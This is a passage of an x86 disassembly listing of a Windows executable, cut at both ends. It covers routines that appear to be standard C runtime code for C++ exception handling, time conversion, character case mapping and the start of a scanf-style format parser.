		mov	edi, [ebp+arg_4]
		jz	short loc_41D0C7
		push	[ebp+arg_18]
		push	ebx
		push	edi
		push	[ebp+arg_0]
		call	sub_41D256
		add	esp, 10h


loc_41D0C7:				; CODE XREF: sub_41D0A5+10j
		cmp	[ebp+arg_24], 0
		push	[ebp+arg_0]
		jnz	short loc_41D0D3
		push	edi
		jmp	short loc_41D0D6
; ---------------------------------------------------------------------------


loc_41D0D3:				; CODE XREF: sub_41D0A5+29j
		push	[ebp+arg_24]


loc_41D0D6:				; CODE XREF: sub_41D0A5+2Cj
		call	sub_417EFC
sub_41D0A5	endp

; ---------------------------------------------------------------------------
		mov	esi, [ebp+24h]
		push	dword ptr [esi]
		push	dword ptr [ebp+18h]
		push	dword ptr [ebp+14h]
		push	edi
		call	sub_41CFF1
		mov	eax, [esi+4]
		push	100h
		push	dword ptr [ebp+28h]
		inc	eax
		mov	[edi+8], eax
		push	dword ptr [ebx+0Ch]
		push	dword ptr [ebp+18h]
		push	dword ptr [ebp+10h]
		push	edi
		push	dword ptr [ebp+8]
		call	sub_41D120
		add	esp, 2Ch
		test	eax, eax
		jz	short loc_41D11B
		push	edi
		push	eax
		call	sub_417EBA


loc_41D11B:				; CODE XREF: ___:0041D112j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D120	proc near		; CODE XREF: ___:0041D108p

var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_424870
		push	offset sub_41F774
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, [ebp+arg_10]
		mov	[ebp+var_2C], eax
		xor	ebx, ebx
		mov	[ebp+var_24], ebx
		mov	esi, [ebp+arg_4]
		mov	ecx, [esi-4]
		mov	[ebp+var_28], ecx
		mov	ecx, dword_48A090
		mov	[ebp+var_1C], ecx
		mov	ecx, dword_48A094
		mov	[ebp+var_20], ecx
		mov	edi, [ebp+arg_0]
		mov	dword_48A090, edi
		mov	ecx, [ebp+arg_8]
		mov	dword_48A094, ecx
		mov	[ebp+var_4], ebx
		mov	[ebp+var_4], 1
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	eax
		push	[ebp+arg_C]
		push	esi
		call	sub_417F81
		add	esp, 14h
		mov	[ebp+var_2C], eax
		mov	[ebp+var_4], ebx
		or	[ebp+var_4], 0FFFFFFFFh
		call	sub_41D1E6
		mov	eax, [ebp+var_2C]


loc_41D1AD:				; CODE XREF: sub_41D1C6+16j
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41D120	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D1BC	proc near		; DATA XREF: ___:00424880o
		push	dword ptr [ebp-14h]
		call	sub_41D22C
		pop	ecx
		retn
sub_41D1BC	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D1C6	proc near		; DATA XREF: ___:00424884o
		mov	esp, [ebp-18h]
		and	dword ptr [ebp-2Ch], 0
		push	0FFFFFFFFh
		lea	eax, [ebp-10h]
		push	eax
		call	sub_4181E2
		pop	ecx
		pop	ecx
		xor	eax, eax
		jmp	short loc_41D1AD
sub_41D1C6	endp

; ---------------------------------------------------------------------------


loc_41D1DE:				; DATA XREF: ___:00424878o
		xor	ebx, ebx
		mov	esi, [ebp+0Ch]
		mov	edi, [ebp+8]

; =============== S U B	R O U T	I N E =======================================



sub_41D1E6	proc near		; CODE XREF: sub_41D120+85p
		mov	eax, [ebp-28h]
		mov	[esi-4], eax
		mov	eax, [ebp-1Ch]
		mov	dword_48A090, eax
		mov	eax, [ebp-20h]
		mov	dword_48A094, eax
		cmp	dword ptr [edi], 0E06D7363h
		jnz	short locret_41D22B
		cmp	dword ptr [edi+10h], 3
		jnz	short locret_41D22B
		cmp	dword ptr [edi+14h], 19930520h
		jnz	short locret_41D22B
		cmp	[ebp-24h], ebx
		jnz	short locret_41D22B
		cmp	[ebp-2Ch], ebx
		jz	short locret_41D22B
		call	sub_41824A
		push	eax
		push	edi
		call	sub_41D41A
		pop	ecx
		pop	ecx

locret_41D22B:				; CODE XREF: sub_41D1E6+1Cj
					; sub_41D1E6+22j ...
		retn
sub_41D1E6	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D22C	proc near		; CODE XREF: sub_41D1BC+3p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	eax, [eax]
		cmp	dword ptr [eax], 0E06D7363h
		jnz	short loc_41D253
		cmp	dword ptr [eax+10h], 3
		jnz	short loc_41D253
		cmp	dword ptr [eax+14h], 19930520h
		jnz	short loc_41D253
		cmp	dword ptr [eax+1Ch], 0
		jnz	short loc_41D253
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_41D253:				; CODE XREF: sub_41D22C+Cj
					; sub_41D22C+12j ...
		xor	eax, eax
		retn
sub_41D22C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D256	proc near		; CODE XREF: sub_41D0A5+1Ap

var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_424888
		push	offset sub_41F774
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	ecx, [ebp+arg_8]
		mov	eax, [ecx+4]
		test	eax, eax
		jz	loc_41D3FF
		cmp	byte ptr [eax+8], 0
		jz	loc_41D3FF
		mov	eax, [ecx+8]
		test	eax, eax
		jz	loc_41D3FF
		mov	edx, [ebp+arg_4]
		lea	edi, [eax+edx+0Ch]
		and	[ebp+var_4], 0
		test	byte ptr [ecx],	8
		jz	short loc_41D2F3
		mov	esi, [ebp+arg_0]
		push	1
		push	dword ptr [esi+18h]
		call	sub_4208D2
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_41D3F6
		push	1
		push	edi
		call	sub_4208EE
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_41D3F6
		mov	eax, [esi+18h]
		mov	[edi], eax
		mov	ecx, [ebp+arg_C]
		add	ecx, 8
		push	ecx


loc_41D2E4:				; CODE XREF: sub_41D256+F5j
		push	eax
		call	sub_41D481
		pop	ecx
		pop	ecx
		mov	[edi], eax
		jmp	loc_41D3FB
; ---------------------------------------------------------------------------


loc_41D2F3:				; CODE XREF: sub_41D256+57j
		mov	esi, [ebp+arg_C]
		test	byte ptr [esi],	1
		jz	short loc_41D34D
		mov	ebx, [ebp+arg_0]
		push	1
		push	dword ptr [ebx+18h]
		call	sub_4208D2
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_41D3F6
		push	1
		push	edi
		call	sub_4208EE
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_41D3F6
		push	dword ptr [esi+14h]
		push	dword ptr [ebx+18h]
		push	edi
		call	sub_4182C0
		add	esp, 0Ch
		cmp	dword ptr [esi+14h], 4
		jnz	loc_41D3FB
		mov	eax, [edi]
		test	eax, eax
		jz	loc_41D3FB
		add	esi, 8
		push	esi
		jmp	short loc_41D2E4
; ---------------------------------------------------------------------------


loc_41D34D:				; CODE XREF: sub_41D256+A3j
		cmp	dword ptr [esi+18h], 0
		mov	ebx, [ebp+arg_0]
		push	1
		push	dword ptr [ebx+18h]
		jnz	short loc_41D395
		call	sub_4208D2
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_41D3F6
		push	1
		push	edi
		call	sub_4208EE
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_41D3F6
		push	dword ptr [esi+14h]
		add	esi, 8
		push	esi
		push	dword ptr [ebx+18h]
		call	sub_41D481
		pop	ecx
		pop	ecx
		push	eax
		push	edi
		call	sub_4182C0
		add	esp, 0Ch
		jmp	short loc_41D3FB
; ---------------------------------------------------------------------------


loc_41D395:				; CODE XREF: sub_41D256+103j
		call	sub_4208D2
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_41D3F6
		push	1
		push	edi
		call	sub_4208EE
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_41D3F6
		push	dword ptr [esi+18h]
		call	sub_42090A
		pop	ecx
		test	eax, eax
		jz	short loc_41D3F6
		test	byte ptr [esi],	4
		jz	short loc_41D3DC
		push	1
		lea	eax, [esi+8]
		push	eax
		push	dword ptr [ebx+18h]
		call	sub_41D481
		pop	ecx
		pop	ecx
		push	eax
		push	dword ptr [esi+18h]
		push	edi
		call	sub_417EF5
		jmp	short loc_41D3FB
; ---------------------------------------------------------------------------


loc_41D3DC:				; CODE XREF: sub_41D256+168j
		lea	eax, [esi+8]
		push	eax
		push	dword ptr [ebx+18h]
		call	sub_41D481
		pop	ecx
		pop	ecx
		push	eax
		push	dword ptr [esi+18h]
		push	edi
		call	sub_417EEE
		jmp	short loc_41D3FB
; ---------------------------------------------------------------------------


loc_41D3F6:				; CODE XREF: sub_41D256+6Aj
					; sub_41D256+7Cj ...
		call	sub_41D552


loc_41D3FB:				; CODE XREF: sub_41D256+98j
					; sub_41D256+E1j ...
		or	[ebp+var_4], 0FFFFFFFFh


loc_41D3FF:				; CODE XREF: sub_41D256+2Ej
					; sub_41D256+38j ...
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41D256	endp

; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		jmp	sub_41D4FC

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D41A	proc near		; CODE XREF: sub_41CD45+170p
					; sub_41D1E6+3Ep

var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_424898
		push	offset sub_41F774
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, [ebp+arg_0]
		test	eax, eax
		jz	short loc_41D461
		mov	ecx, [eax+1Ch]
		mov	ecx, [ecx+4]
		test	ecx, ecx
		jz	short loc_41D461
		and	[ebp+var_4], 0
		push	ecx
		push	dword ptr [eax+18h]
		call	sub_417EEE
		or	[ebp+var_4], 0FFFFFFFFh


loc_41D461:				; CODE XREF: sub_41D41A+2Aj
					; sub_41D41A+34j
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41D41A	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		cmp	[ebp+0Ch], al
		setnz	al
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		jmp	sub_41D4FC

; =============== S U B	R O U T	I N E =======================================



sub_41D481	proc near		; CODE XREF: sub_41D256+8Fp
					; sub_41D256+12Cp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_4]
		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [ecx]
		mov	edx, [ecx+4]
		add	eax, esi
		test	edx, edx
		jl	short loc_41D4A2
		mov	esi, [edx+esi]
		mov	ecx, [ecx+8]
		mov	ecx, [esi+ecx]
		add	ecx, edx
		add	eax, ecx


loc_41D4A2:				; CODE XREF: sub_41D481+12j
		pop	esi
		retn
sub_41D481	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D4B0	proc near		; CODE XREF: sub_417F81+40p
					; sub_41CFF1+5Cp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	ebx
		push	ecx
		mov	eax, [ebp+arg_4]
		add	eax, 0Ch
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_0]
		push	ebp
		push	[ebp+arg_8]
		mov	ecx, [ebp+arg_8]
		mov	ebp, [ebp+var_4]
		call	sub_41826D
		push	esi
		push	edi
		call	eax
		pop	edi
		pop	esi
		mov	ebx, ebp
		pop	ebp
		mov	ecx, [ebp+arg_8]
		push	ebp
		mov	ebp, ebx
		cmp	ecx, 100h
		jnz	short loc_41D4EF
		mov	ecx, 2


loc_41D4EF:				; CODE XREF: sub_41D4B0+38j
		push	ecx
		call	sub_41826D
		pop	ebp
		pop	ecx
		pop	ebx
		leave
		retn	0Ch
sub_41D4B0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D4FC	proc near		; CODE XREF: sub_41CD45:loc_41CEE7j
					; sub_41D08F:loc_41D0A0j ...

var_18		= dword	ptr -18h
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00420922 SIZE 00000017 BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4248A8
		push	offset sub_41F774
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		and	[ebp+var_4], 0
		mov	eax, dword_48A09C
		test	eax, eax
		jz	short loc_41D544
		mov	[ebp+var_4], 1
		call	eax
		jmp	short loc_41D540
; ---------------------------------------------------------------------------


loc_41D539:				; DATA XREF: ___:004248B8o
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_41D53D:				; DATA XREF: ___:004248BCo
		mov	esp, [ebp+var_18]


loc_41D540:				; CODE XREF: sub_41D4FC+3Bj
		and	[ebp+var_4], 0


loc_41D544:				; CODE XREF: sub_41D4FC+30j
		or	[ebp+var_4], 0FFFFFFFFh
		call	$+5


loc_41D54D:				; DATA XREF: ___:004248B0o
		jmp	loc_420922
sub_41D4FC	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D552	proc near		; CODE XREF: sub_418123+23p
					; sub_418123:loc_41818Ep ...

var_18		= dword	ptr -18h
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4248C0
		push	offset sub_41F774
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		and	[ebp+var_4], 0
		mov	eax, off_43B924
		test	eax, eax
		jz	short loc_41D59A
		mov	[ebp+var_4], 1
		call	eax ; sub_41D4FC
		jmp	short loc_41D596
; ---------------------------------------------------------------------------


loc_41D58F:				; DATA XREF: ___:004248D0o
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_41D593:				; DATA XREF: ___:004248D4o
		mov	esp, [ebp+var_18]


loc_41D596:				; CODE XREF: sub_41D552+3Bj
		and	[ebp+var_4], 0


loc_41D59A:				; CODE XREF: sub_41D552+30j
		or	[ebp+var_4], 0FFFFFFFFh
		call	$+5


loc_41D5A3:				; DATA XREF: ___:004248C8o
		jmp	sub_41D4FC
sub_41D552	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D5A8	proc near		; CODE XREF: sub_418603+7p
					; sub_418603+26p

var_8		= byte ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, dword_48B688
		push	esi
		cmp	eax, 3
		jnz	short loc_41D5D1
		mov	esi, [ebp+arg_0]
		push	esi
		call	sub_41AD89
		test	eax, eax
		pop	ecx
		jz	short loc_41D5CE
		mov	eax, [esi-4]
		sub	eax, 9
		jmp	short loc_41D606
; ---------------------------------------------------------------------------


loc_41D5CE:				; CODE XREF: sub_41D5A8+1Cj
		push	esi
		jmp	short loc_41D5F8
; ---------------------------------------------------------------------------


loc_41D5D1:				; CODE XREF: sub_41D5A8+Ej
		cmp	eax, 2
		jnz	short loc_41D5F5
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		push	[ebp+arg_0]
		call	sub_41BAE4
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_41D5F5
		movzx	eax, byte ptr [eax]
		shl	eax, 4
		jmp	short loc_41D606
; ---------------------------------------------------------------------------


loc_41D5F5:				; CODE XREF: sub_41D5A8+2Cj
					; sub_41D5A8+43j
		push	[ebp+arg_0]


loc_41D5F8:				; CODE XREF: sub_41D5A8+27j
		push	0
		push	dword_48B684
		nop
		call	near ptr 2860551h


loc_41D606:				; CODE XREF: sub_41D5A8+24j
					; sub_41D5A8+4Bj
		pop	esi
		leave
		retn
sub_41D5A8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D609	proc near		; CODE XREF: sub_4186B1+C9p

var_24		= byte ptr -24h
var_1C		= dword	ptr -1Ch
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_8		= dword	ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		push	ebx
		mov	ebx, [ebp+arg_0]
		sub	ebx, 76Ch
		cmp	ebx, 46h
		jl	loc_41D6C5
		cmp	ebx, 8Ah
		jg	loc_41D6C5
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		mov	esi, dword_43C054[edi*4]
		add	esi, [ebp+arg_8]
		test	bl, 3
		jnz	short loc_41D648
		cmp	edi, 2
		jle	short loc_41D648
		inc	esi


loc_41D648:				; CODE XREF: sub_41D609+37j
					; sub_41D609+3Cj
		call	sub_420939
		mov	eax, ebx
		lea	ecx, [ebx-1]
		imul	eax, 16Dh
		sar	ecx, 2
		mov	edx, esi
		mov	[ebp+var_8], esi
		add	edx, ecx
		mov	[ebp+var_10], ebx
		add	eax, edx
		mov	edx, [ebp+arg_14]
		lea	ecx, [eax+eax*2]
		mov	eax, [ebp+arg_C]
		mov	[ebp+var_1C], eax
		lea	ecx, [eax+ecx*8]
		imul	ecx, 3Ch
		add	ecx, [ebp+arg_10]
		imul	ecx, 3Ch
		add	ecx, dword_43BF70
		dec	edi
		cmp	[ebp+arg_18], 1
		mov	[ebp+var_14], edi
		pop	edi
		pop	esi
		lea	ecx, [ecx+edx+7C558180h]
		mov	[ebp+arg_0], ecx
		jz	short loc_41D6BB
		cmp	[ebp+arg_18], 0FFFFFFFFh
		jnz	short loc_41D6C1
		cmp	dword_43BF74, 0
		jz	short loc_41D6C1
		lea	eax, [ebp+var_24]
		push	eax
		call	sub_420BAC
		pop	ecx
		mov	ecx, [ebp+arg_0]
		test	eax, eax
		jz	short loc_41D6C1


loc_41D6BB:				; CODE XREF: sub_41D609+90j
		add	ecx, dword_43BF78


loc_41D6C1:				; CODE XREF: sub_41D609+96j
					; sub_41D609+9Fj ...
		mov	eax, ecx
		jmp	short loc_41D6C8
; ---------------------------------------------------------------------------


loc_41D6C5:				; CODE XREF: sub_41D609+13j
					; sub_41D609+1Fj
		or	eax, 0FFFFFFFFh


loc_41D6C8:				; CODE XREF: sub_41D609+BAj
		pop	ebx
		leave
		retn
sub_41D609	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D6CB	proc near		; CODE XREF: sub_418833+12Bp

var_4		= byte ptr -4
var_3		= byte ptr -3
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	dword_48A0A8, 0
		push	ebx
		jnz	short loc_41D6F6
		mov	eax, [ebp+arg_0]
		cmp	eax, 61h
		jl	loc_41D794
		cmp	eax, 7Ah
		jg	loc_41D794
		sub	eax, 20h
		jmp	loc_41D794
; ---------------------------------------------------------------------------


loc_41D6F6:				; CODE XREF: sub_41D6CB+Cj
		mov	ebx, [ebp+arg_0]
		cmp	ebx, 100h
		jge	short loc_41D729
		cmp	dword_4397AC, 1
		jle	short loc_41D716
		push	2
		push	ebx
		call	sub_41A642
		pop	ecx
		pop	ecx
		jmp	short loc_41D721
; ---------------------------------------------------------------------------


loc_41D716:				; CODE XREF: sub_41D6CB+3Dj
		mov	eax, off_4395A0
		mov	al, [eax+ebx*2]
		and	eax, 2


loc_41D721:				; CODE XREF: sub_41D6CB+49j
		test	eax, eax
		jnz	short loc_41D729


loc_41D725:				; CODE XREF: sub_41D6CB+AFj
		mov	eax, ebx
		jmp	short loc_41D794
; ---------------------------------------------------------------------------


loc_41D729:				; CODE XREF: sub_41D6CB+34j
					; sub_41D6CB+58j
		mov	edx, off_4395A0
		mov	eax, ebx
		sar	eax, 8
		movzx	ecx, al
		test	byte ptr [edx+ecx*2+1],	80h
		jz	short loc_41D74C
		and	byte ptr [ebp+arg_0+2],	0
		mov	byte ptr [ebp+arg_0], al
		mov	byte ptr [ebp+arg_0+1],	bl
		push	2
		jmp	short loc_41D755
; ---------------------------------------------------------------------------


loc_41D74C:				; CODE XREF: sub_41D6CB+71j
		and	byte ptr [ebp+arg_0+1],	0
		mov	byte ptr [ebp+arg_0], bl
		push	1


loc_41D755:				; CODE XREF: sub_41D6CB+7Fj
		pop	eax
		lea	ecx, [ebp+var_4]
		push	1
		push	0
		push	3
		push	ecx
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		push	200h
		push	dword_48A0A8
		call	sub_41E709
		add	esp, 20h
		test	eax, eax
		jz	short loc_41D725
		cmp	eax, 1
		jnz	short loc_41D787
		movzx	eax, [ebp+var_4]
		jmp	short loc_41D794
; ---------------------------------------------------------------------------


loc_41D787:				; CODE XREF: sub_41D6CB+B4j
		movzx	eax, [ebp+var_3]
		movzx	ecx, [ebp+var_4]
		shl	eax, 8
		or	eax, ecx


loc_41D794:				; CODE XREF: sub_41D6CB+14j
					; sub_41D6CB+1Dj ...
		pop	ebx
		leave
		retn
sub_41D6CB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D797	proc near		; CODE XREF: sub_418A52+2Ap

var_1C4		= byte ptr -1C4h
var_1C3		= byte ptr -1C3h
var_64		= byte ptr -64h
var_59		= byte ptr -59h
var_44		= dword	ptr -44h
var_3E		= word ptr -3Eh
var_3C		= dword	ptr -3Ch
var_38		= byte ptr -38h
var_37		= byte ptr -37h
var_35		= byte ptr -35h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= byte ptr -18h
var_17		= byte ptr -17h
var_16		= byte ptr -16h
var_15		= byte ptr -15h
var_14		= dword	ptr -14h
var_F		= byte ptr -0Fh
var_E		= byte ptr -0Eh
var_D		= byte ptr -0Dh
var_C		= dword	ptr -0Ch
var_5		= byte ptr -5
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 1C4h
		and	[ebp+var_15], 0
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		xor	ebx, ebx
		push	edi
		mov	al, [esi]
		mov	[ebp+var_4], ebx
		test	al, al
		mov	[ebp+var_34], ebx
		jz	loc_41E19D
		mov	edi, [ebp+arg_0]
		jmp	short loc_41D7C6
; ---------------------------------------------------------------------------


loc_41D7C1:				; CODE XREF: sub_41D797+9CEj
		mov	edi, [ebp+arg_0]
		xor	ebx, ebx


loc_41D7C6:				; CODE XREF: sub_41D797+28j
		cmp	dword_4397AC, 1
		jle	short loc_41D7DE
		movzx	eax, al
		push	8
		push	eax
		call	sub_41A642
		pop	ecx
		pop	ecx
		jmp	short loc_41D7ED
; ---------------------------------------------------------------------------


loc_41D7DE:				; CODE XREF: sub_41D797+36j
		mov	ecx, off_4395A0
		movzx	eax, al
		mov	al, [ecx+eax*2]
		and	eax, 8


loc_41D7ED:				; CODE XREF: sub_41D797+45j
		cmp	eax, ebx
		jz	short loc_41D827
		dec	[ebp+var_4]
		push	edi
		lea	eax, [ebp+var_4]
		push	edi
		push	eax
		call	sub_41E224
		pop	ecx
		pop	ecx
		push	eax
		call	sub_41E20D
		movzx	eax, byte ptr [esi+1]
		inc	esi
		push	eax
		call	sub_420F60
		add	esp, 0Ch


loc_41D815:				; CODE XREF: sub_41D797+8Ej
		test	eax, eax
		jz	short loc_41D827
		movzx	eax, byte ptr [esi+1]
		inc	esi
		push	eax
		call	sub_420F60
		pop	ecx
		jmp	short loc_41D815
; ---------------------------------------------------------------------------


loc_41D827:				; CODE XREF: sub_41D797+58j
					; sub_41D797+80j
		cmp	byte ptr [esi],	25h
		jnz	loc_41E109
		and	[ebp+var_35], 0
		and	[ebp+var_18], 0
		and	[ebp+var_17], 0
		and	[ebp+var_E], 0
		and	[ebp+var_F], 0
		and	[ebp+var_16], 0
		xor	edi, edi
		and	[ebp+var_5], 0
		mov	[ebp+var_1C], ebx
		mov	[ebp+var_20], ebx
		mov	[ebp+var_C], ebx
		mov	[ebp+var_D], 1
		mov	[ebp+var_30], ebx


loc_41D85E:				; CODE XREF: sub_41D797+172j
		movzx	ebx, byte ptr [esi+1]
		inc	esi
		cmp	dword_4397AC, 1
		jle	short loc_41D87B
		movzx	eax, bl
		push	4
		push	eax
		call	sub_41A642
		pop	ecx
		pop	ecx
		jmp	short loc_41D88A
; ---------------------------------------------------------------------------


loc_41D87B:				; CODE XREF: sub_41D797+D3j
		mov	ecx, off_4395A0
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 4


loc_41D88A:				; CODE XREF: sub_41D797+E2j
		test	eax, eax
		jz	short loc_41D8A0
		mov	eax, [ebp+var_C]
		inc	[ebp+var_20]
		lea	eax, [eax+eax*4]
		lea	eax, [ebx+eax*2-30h]
		mov	[ebp+var_C], eax
		jmp	short loc_41D905
; ---------------------------------------------------------------------------


loc_41D8A0:				; CODE XREF: sub_41D797+F5j
		cmp	ebx, 4Eh
		jg	short loc_41D8E3
		jz	short loc_41D905
		cmp	ebx, 2Ah
		jz	short loc_41D8DE
		cmp	ebx, 46h
		jz	short loc_41D905
		cmp	ebx, 49h
		jz	short loc_41D8C0
		cmp	ebx, 4Ch
		jnz	short loc_41D8F2
		inc	[ebp+var_D]
		jmp	short loc_41D905
; ---------------------------------------------------------------------------


loc_41D8C0:				; CODE XREF: sub_41D797+11Dj
		cmp	byte ptr [esi+1], 36h
		jnz	short loc_41D8F2
		cmp	byte ptr [esi+2], 34h
		lea	eax, [esi+2]
		jnz	short loc_41D8F2
		inc	[ebp+var_30]
		and	[ebp+var_28], 0
		and	[ebp+var_24], 0
		mov	esi, eax
		jmp	short loc_41D905
; ---------------------------------------------------------------------------


loc_41D8DE:				; CODE XREF: sub_41D797+113j
		inc	[ebp+var_E]
		jmp	short loc_41D905
; ---------------------------------------------------------------------------


loc_41D8E3:				; CODE XREF: sub_41D797+10Cj
		cmp	ebx, 68h
		jz	short loc_41D8FF
		cmp	ebx, 6Ch
		jz	short loc_41D8F7
		cmp	ebx, 77h
		jz	short loc_41D8FA


loc_41D8F2:				; CODE XREF: sub_41D797+122j
					; sub_41D797+12Dj ...
		inc	[ebp+var_F]
		jmp	short loc_41D905
; ---------------------------------------------------------------------------


loc_41D8F7:				; CODE XREF: sub_41D797+154j
		inc	[ebp+var_D]


loc_41D8FA:				; CODE XREF: sub_41D797+159j
		inc	[ebp+var_5]
		jmp	short loc_41D905
; ---------------------------------------------------------------------------


loc_41D8FF:				; CODE XREF: sub_41D797+14Fj
		dec	[ebp+var_D]
		dec	[ebp+var_5]


loc_41D905:				; CODE XREF: sub_41D797+107j
					; sub_41D797+10Ej ...
		cmp	[ebp+var_F], 0
		jz	loc_41D85E
		cmp	[ebp+var_E], 0
		mov	[ebp+arg_4], esi
		jnz	short loc_41D92A
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_44], eax
		add	eax, 4
		mov	[ebp+arg_8], eax
		mov	eax, [eax-4]
		mov	[ebp+var_2C], eax


loc_41D92A:				; CODE XREF: sub_41D797+17Fj
		and	[ebp+var_F], 0
		cmp	[ebp+var_5], 0
		jnz	short loc_41D948
		mov	al, [esi]
		cmp	al, 53h
		jz	short loc_41D944
		cmp	al, 43h
		jz	short loc_41D944
		or	[ebp+var_5], 0FFh
		jmp	short loc_41D948
; ---------------------------------------------------------------------------


loc_41D944:				; CODE XREF: sub_41D797+1A1j
					; sub_41D797+1A5j
		mov	[ebp+var_5], 1


loc_41D948:				; CODE XREF: sub_41D797+19Bj
					; sub_41D797+1ABj
		mov	ebx, [ebp+arg_4]
		movzx	esi, byte ptr [ebx]
		or	esi, 20h
		cmp	esi, 6Eh
		mov	[ebp+var_3C], esi
		jz	short loc_41D981
		cmp	esi, 63h
		jz	short loc_41D972
		cmp	esi, 7Bh
		jz	short loc_41D972
